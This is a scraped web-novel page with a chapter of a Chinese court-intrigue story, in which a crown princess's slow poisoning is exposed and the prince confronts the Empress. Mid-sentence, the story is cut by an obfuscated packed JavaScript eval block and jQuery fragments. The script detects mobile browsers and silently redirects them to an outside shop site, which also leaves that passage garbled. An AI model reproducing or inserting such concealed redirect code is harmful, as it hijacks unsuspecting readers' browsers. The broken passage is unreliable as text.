文趣网 > 其他小说 > 玉叶金柯 > 28. 我是来杀你的
    海郁离定是梦魇了,她四肢板直地躺在床上,没法动弹,双眼紧闭但面色痛苦,嘴里不停地念叨着这几句话。她急促地呼吸着,额间也冒出了冷汗。这模样着实把李僩为吓住了,他连忙凑上去将她摇醒,

    “郁离!没事吧?”

    海郁离骤然睁开双眼,谁知见了身边的李僩为,却仿若见了阎王一般,竟不由自主地向后一躲。

    李僩为见她看向自己的眼神中满是惊恐,担忧的面容上瞬间闪过一丝疑惑,心中倍感失落,方才想伸出去抓紧她的一只手也搁在半空。

    海郁离也没想到自己会陷入这样的梦境,她有些愣住了,忽地又反应过来自己下意识的闪躲怕是会让李僩为心生疑窦,因此又俯身过去扑在他怀里,

    “我做了一个特别凶恶的梦,我好害怕。”

    李僩为的身子不由地僵了一下,很快又恢复如常,他伸出手臂将她环抱,不停摩挲着她的后背,柔声安抚道:

    “难怪你方才一直喊着父亲母亲,可是梦到什么了?”

    海郁离闻言只是闭着眼,随意说了几句想含糊过去,

    “…记不清了,像是家中进了贼人。”

    李僩为轻笑了声,张口揶揄她:

    “听闻只有孩童才会梦到家中进贼人呢,这正说明你有一颗赤子之心。”

    他是会哄人的,海郁离听了此话脸上也露出了些许笑意,绷紧的心弦也被一点点地安抚。

    翌日,她的精神稍有恢复,只是又要开始喝治梦魇的汤药。看着案上那一大碗褐色的温胆汤,她满脸抗拒,

    “真希望这汤药能自己跑到我肚子里,免得进嘴里一遭,苦涩得不行。”

    吉圆和小芝闻言相视一笑,小芝将桌上一碟果子推到海郁离眼前,

    “娘娘不妨喝一口汤药便吃一颗杏脯,能好受些。”

    海郁离拿起一颗杏脯,真像小芝说的那样,喝完一口汤药便往嘴里送上一颗果子,只是吃到一半又有些不安,

    “这样真的可以吗,不会影响药效吧?”

    吉圆在一旁咧着嘴笑了笑,

    “娘娘这么一大碗汤药都喝下去了,才吃了几个果子,怎么就会影响药效了,实在担心的话将果子含一含吐出来就是了。”

    三人聊得正欢时,湄若从殿外走了进来,

    “娘娘,梅奉仪身边的采薇求见。”

    皇后才被幽禁,梅亦瑶此时便遣了人来,海郁离难免心生防备。只是她虽心有顾忌却依旧面不改色,吩咐人将采薇传了进来。

    只见采薇手中端着个瓷壶,请安后怯生生地看了一眼海郁离,垂眸轻声道:

    “梅奉仪听闻娘娘受梦魇所扰,特地让小的送一壶浓米泔水过来,请娘娘服用。”

    吉圆闻言,顿时火冒三丈,对着采薇便呵斥道:

    “什么上不了台面的东西,竟也敢拿来给娘娘,简直是以下犯上!”

    采薇被吉圆的斥责吓得有些发怵,连忙解释:

    “不是的!梅奉仪说她出身民间,幼时每回梦魇,次日都会饮一大碗浓米泔水。梦魇原是肝火太旺,娘娘若饮了此水,肝火尽消,往后也可免受梦魇所扰了。”

    吉圆还想说些什么,却被小芝扯了扯衣袖拦了下来。海郁离给湄若使了个眼色,她便走到采薇身边,将这米泔水接了过来。

    “你先下去吧,别忘了替本宫多谢梅奉仪的好意。”

    采薇应下海郁离的话,匆匆走出了殿门。

    吉圆见海郁离就要将这水倒进碗中,立刻凑上前去,一脸担忧,

    “娘娘不会真要喝这米泔水吧?”

    为了不再梦魇,喝个米泔水又有何妨,总比下回再说些让李僩为生疑的呓语好。海郁离盯着碗口出神,低语道:

    “必定是得喝的,我可不想再梦魇了。”说完,她两眼一闭,将这水全数喝了进去。

    她放下碗擦了擦嘴,准备起身回寝殿小憩一会儿,谁知才刚往内室走了几步,突然感到头痛欲裂,心跳不止,眼前也越来越模糊。她的身子渐渐发软,直到不受控地往下倒去。

    -

    海郁离再睁眼时,就看见李僩为坐在床边紧紧抓着自己的手,他愁眉紧锁,面上满是惶然。见她终于苏醒,他这才稍稍展开了笑颜,伸出手碰了碰她的脸颊,又叫来了一旁的章太医。

    海郁离往一侧望去,寝殿内站着同样忧心的吉圆小芝和钱嬷嬷,而稍远处,是跪在地上的梅亦瑶。

    “娘娘苏醒便是无碍了,老臣失职,还望殿下责罚。”

    章太医的话听得海郁离云里雾里,身旁的李僩为则是肃声回道:

    “你为太子妃将身子调理痊愈,便是将功折罪。”

    章太医闻言连忙称是,提着药箱疾步离开了。

    海郁离仍然感觉头昏脑胀,在李僩为的搀扶下才能勉强将身子撑起来,倚靠在床头。

    “你感觉如何了?”

    她没心思回答李僩为的话,只是看着跪在地上的梅亦瑶,疑惑道:

    “梅奉仪怎么会在这儿?”

    李僩为的眼神也顺着她的目光落在梅亦瑶身上,

    “你宫里人同我说,你今日喝了她送来的东西后便昏厥,我自然要提了她来审问。只是她说要等你醒来当面向你请罪。”

    “请罪?”

    李僩为点点头,海郁离抓着他的手,接着问道:

    “难道是她在那水中加了什么毒药?”

    “并非如此。是章太医知晓你喝了极浓的米泔水后晕厥,他觉得此事有异,便猜测你近日的心悸体虚之症许是由药引起。

    他说若是有人日复一日地给你下少量含有苍耳子的毒药,你定会日渐虚弱,梦魇心悸,最终耗尽气血而亡,这般殒命连太医也无法轻易察觉原因。今日你用了这米泔水,此水能大大增加苍耳子的药效,让毒性郁结在脾胃,你承受不住,才会骤然昏倒。”

    他说着,面上难掩心疼。海郁离塌着身子,像是在自言自语:

    “那她送这水不是要害我,而是来救我的。”

    二人又一同向梅亦瑶望去,她此刻正面如死灰,察觉到二人的目光后缓缓向前挪了几步。

    “毒药也是你下的?你是受了谁的指使?”

    李僩为目不转睛地看着梅亦瑶,冷声引导她将一切招供。她红着眼,行了个大礼后将一切缓缓道来:

    “殿下应早已猜到,一切都是皇后娘娘要我做的。

    皇后行事向来周密,早已有此下策,她如今身陷囹圄,只能做最后一搏,而她最后一根救命稻草便是太子妃娘娘的父亲镇国公海大人。

    皇后被下旨幽禁的那一日,她身边被贬至掖庭的一个侍女辗转找到我,要我买通御渠的宫人,在太子妃每日的饮水中下毒,说来日只要太子妃一死,就让我想办法放消息给镇国公,说太子妃是被皇上和太子一同害死的,而皇上的下一步便是要彻底铲除海氏一族。

    届时,镇国公为了报仇也为了自保,定是会想办法举兵造反。无论如何,太子妃一死,计划便能推进,若是事成,海氏一族得利,恭王更是能彻底翻身。”

    几乎是在梅亦瑶话音落下的同一时刻,李僩为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796440|210525||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    忽地站起身来,抬起脚便往门外走去。海郁离回过神来,伸出手去想抓住他的手,无奈却只碰到他的衣角,

    “僩为!”

    李僩为充耳不闻,愤怒与悔恨在此刻充斥着他的内心,逼着他迫切地想要将一切了结。

    -

    景辰宫如今只是个冰冷漆黑的牢笼,偌大的宫殿再不复往日的光华气派。高处,海皇后瘫软的身子斜倚在凤座上,她面容憔悴,眼神却依然藏着锐气。

    发觉前方的大门慢慢地被打开,透出一丝光亮,她立刻直起了身子,警觉地往外望去,谁料眼前逐渐清晰的却是李僩为的身影。

    她不由地冷笑了一声,待李僩为走近,她才看清他那藏着愠色的面容。她冷声开口道:

    “太子也来看本宫的笑话吗?”

    李僩为没有理会他的话,自顾自走到座椅旁,伸出手掸了掸上面的灰尘,淡然地坐了上去,

    “我不是来看你笑话的。我是来杀你的。”

    一时间,海皇后怔怔瞪大了双眼,再也不像方才独处时那样镇定自若。她满脸愕然地盯着此刻正冷眼平睨着她的李僩为,良久后,她竟纵声长笑了起来,

    “李僩为,我看你真是会说笑,皇上未曾废后,你还敢戕害嫡母不成?”

    李僩为只是继续漠然地望着她,冷声道:

    “我只有一个母亲。况且凭皇后如今的处境,我取你性命又有何难。”

    他所说的话确实是刺骨的真相。

    如今她大势已去,皇帝卧病,李僩为想必早已把控了朝局,若是他铁了心要她死,她还能如何挣扎?

    她愣在原地许久,而后瞬间泻下气来,迷茫地向后退了几步,最终几乎是摔倒在了身后的凤椅之上。

    低头沉思片刻,她终于开口,声音中全是冰冷的绝望,

    “你都知道些什么了?”

    李僩为冷声回道:

    “那要问问皇后都做了些什么。你若安分在此幽禁思过,兴许还能暂且留着一条性命,可你偏不死心,万劫不复之际还敢拿太子妃的性命来做垫脚石,如此垂死挣扎,你早该料到会有今日才是。”

    海皇后强撑着身子,两只手臂不住地颤抖,她缓缓抬眸,如恶鬼般地盯着李僩为,脸上竟浮出一丝若有若无的笑意,阴诡不已,

    “我就知道,惠姝那样的贱婢最是不可托付。”

    而后,她又忽然嗤笑一声,目光随着李僩为的起身而动,

    “倒是你,那日在端拱殿受了你们父子俩的算计之后,我便在想,海郁离为何不怕受牵连,敢不顾安危地将那谋划对你和盘托出,我果然猜得没错…没想到你还是个情种呢,啊?”

    李僩为不理会她的讥讽,转身欲唤人进殿内。

    海皇后看出他的意图,骤然从凤椅上起身,几乎是连滚带爬地到了李僩为身边,失心疯一般地扯着他的袖口,

    “…慢着!我可以死,但是你不要动佑为!皇上只是要他禁足思过,从未想过取他性命,若我与他接连殒命,皇上定会猜到是你做的,必也不会让你好过!”

    李僩为强忍着怒气,用力将她紧攥着自己袖口的手扯了下来,厉声道:

    “你还敢要挟我?”

    海皇后跪坐在地,直直地望着他,早已泪流满面,

    “他从一开始便不是你的对手,如今早已认清了现实,不会再成为你的威胁,你不必再花心思对付他,让他好好安度余生……

    你知道的,他和海郁离一样,身上流着海家的血,若是你敢给他安什么罪名,海郁离也必然会受牵连!”